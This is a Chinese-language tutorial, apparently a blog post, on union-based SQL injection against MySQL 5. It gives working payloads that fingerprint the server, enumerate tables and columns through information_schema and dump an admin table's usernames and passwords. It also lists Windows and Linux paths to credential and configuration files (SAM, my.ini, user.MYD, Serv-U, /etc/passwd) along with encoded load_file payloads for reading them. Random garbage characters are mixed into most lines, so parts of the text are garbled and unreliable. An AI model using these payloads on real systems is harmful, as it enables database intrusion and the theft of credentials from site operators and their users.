mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。


4 C% W5 |6 V. `, y3 I, q: V
$ S0 _0 F( H+ L7 l" uMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
. U. Y, b( d0 j# d存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
+ U$ h( y- c6 g: ]明。
( f' o9 U" q: r, \( R5 R% ?1.得到所有数据库名：
/ C9 f% D8 l! x3 j! V6 S7 `|SCHEMATA ->存储数据库名的表
& {# W; \- v9 |) p|—字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
1 i: u9 c; n5 k9 M|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
4 o2 Q+ Z: Q1 E: R8 t|—字段：TABLE_NAME ->存储表的表名
! u3 J. g% {3 m5 w, k9 T
|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

) D% l) R$ [$ L; c( Q. w6 Z) t9 i6 m|—字段：COLUMN_NAME ->该字段的名称
' \! S) {7 o! k9 w
9 V4 D5 v/ B. n3 j# f#########################################################################
##

0×001 获取系统信息:
' o3 N7 @( k4 Y; P% z
6 ~( J2 f9 z1 y) eunion select 1,2,3,4,5,concat
& s; Z& F5 N, p- x0 I4 Z. ~1 u& q(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*

' W* G) K% W6 y/ H, L@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
database() 当前数据库名称
# e, m# U% m: N6 X- K& \( Q& G. v/ w0x3c62723e 换行HEX值
8 l9 [9 Q# e. {+ i% C! F
*/

, k, M8 N& t" x######################################################################

0×002 获取表名
5 }9 r. O+ i; e2 j, H( s0 Z
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
# @7 Z/ B( o) Q; l8 J! f2 rinformation_schema.tables where table_schema=0x67617264656e /*
" z$ u4 C2 z5 x# @0 c6 }- J
/*

+ Z1 O, b% [: m( X# i2 l2 V& [0x67617264656e 为当前数据库名
7 _. ?  N: {8 M- H& ^. g
7 ~( I, y* V& p+ ygroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
+ C$ B% Z3 a: B" \1 C0 {
*/
. [" @: U5 l- g0 k; C. q+ _& M
) g; Z5 b& ?, ]& m7 ]" q8 X######################################################################

6 M. p0 d! z. v6 {0×003 获取字段
; o0 T- Z$ [% M$ X' ^( b4 O" @
( m/ Y; W* ]; f# Y) J* c3 Dunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and


& H( E# @! |2 e6 J# ^table_schema=0x67617264656e limit 1 /*
7 X6 {2 _0 Q4 D# O- o+ @
/*
2 v; T" Y) D( M/ `/ j4 q( b9 }
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
' o! |; f4 N- s
0x61646d696e ->选择一个表

0x67617264656e ->数据库名
/ H, J* t& D9 H3 f$ Q, U7 C
*/
6 n( O8 \1 N) X% K' I8 T& C& o9 C
#####################################################################

0×004 获取数据

" a$ S  R& T# t+ ounion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
  X6 @: `  V3 @$ O) {' f* {
8 M( U& I* H4 ^2 M9 q* ^1 Runion select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin

! H9 Z! o$ p- Z3 V$ K/*

0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据

2 o* t0 w# _. ^4 i2 e*/
3 t8 f) A+ D' r, t6 Y
$ h% y! D% w# g1 @. ~



. ]) N) _2 d6 n+ T* c顺便添加一些mysql注入时非常有用的一些东西

简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
7 D: q( `' `, n- r  H* E1 [
1:system_user() 系统用户名
( w2 A- ]( b# B2:user()        用户名
3:current_user()  当前用户名
/ B1 k6 ?, B9 r4 @! H- U) c" i4:session_user()连接数据库的用户名
) {+ V! l6 D6 L' [5:database()    数据库名
, q0 |1 `! u3 e0 O6:version()     MYSQL数据库版本
1 g+ ?8 z4 y$ J: }, A* s1 M7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
) G8 x+ z8 D$ X& L10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
7 Z: b0 {- N4 G! I5 o) ~WINDOWS下:
# L# h+ v$ w- B) ?c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
5 P; Q' e' m, N* l9 kc:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
& |& b) A. y; I& J+ h0 a  Xc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
8 y8 A) Z1 s8 z5 f4 O( Z* ?c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
6 F: D* ]$ M3 I' `1 Y' mc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
* u; M, r9 q+ ~& ^c:\Program Files\RhinoSoft.com\ServUDaemon.exe
9 u' Z9 d; }7 s& s( C) C. i/ pC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
% V* @( B9 [+ x( y( {3 Yc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
  [! U: v% |! w6 {9 c

  e4 Z4 k% X2 W+ X( l' f' H) _c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
$ C7 D& m2 u% yd:\APACHE\Apache2\conf\httpd.conf
" ?1 U1 N" ]4 d* O) J! uC:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
; Z; ~' V! o/ X* V
LUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
; o4 ?4 i, q* n/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
! z7 ~& i( A$ W2 a/usr/local/app/php5/lib/php.ini //PHP相关设置
9 q/ j$ I  }2 }/etc/sysconfig/iptables //从中得到防火墙规则策略
3 w& u6 ]/ m0 e" A. Y/etc/httpd/conf/httpd.conf // apache配置文件
) p9 N& O; U3 Y- r3 w/etc/rsyncd.conf //同步程序配置文件
9 Q" P# N" j6 J/etc/my.cnf //mysql的配置文件
* z. ?0 @9 }, ^4 V6 b/etc/redhat-release //系统版本
- @$ e! x1 V; {8 I- c/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
4 F. p9 L, V! h- V/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
6 J- t) p% _3 C/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
7 X+ R% t% z( Y/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
0 v2 x2 `8 O' {" g3 x0 v/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
' ]3 I3 z! _. \# m" A0 k) Z. n/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
: \$ a% e+ c1 I/ N; G* A/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
- v& t$ O3 L. I3 J; A' ~, Dreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
; f& X* `; s! g; n6 K$ Q0 l
' A! b6 Y) }$ i6 m: ~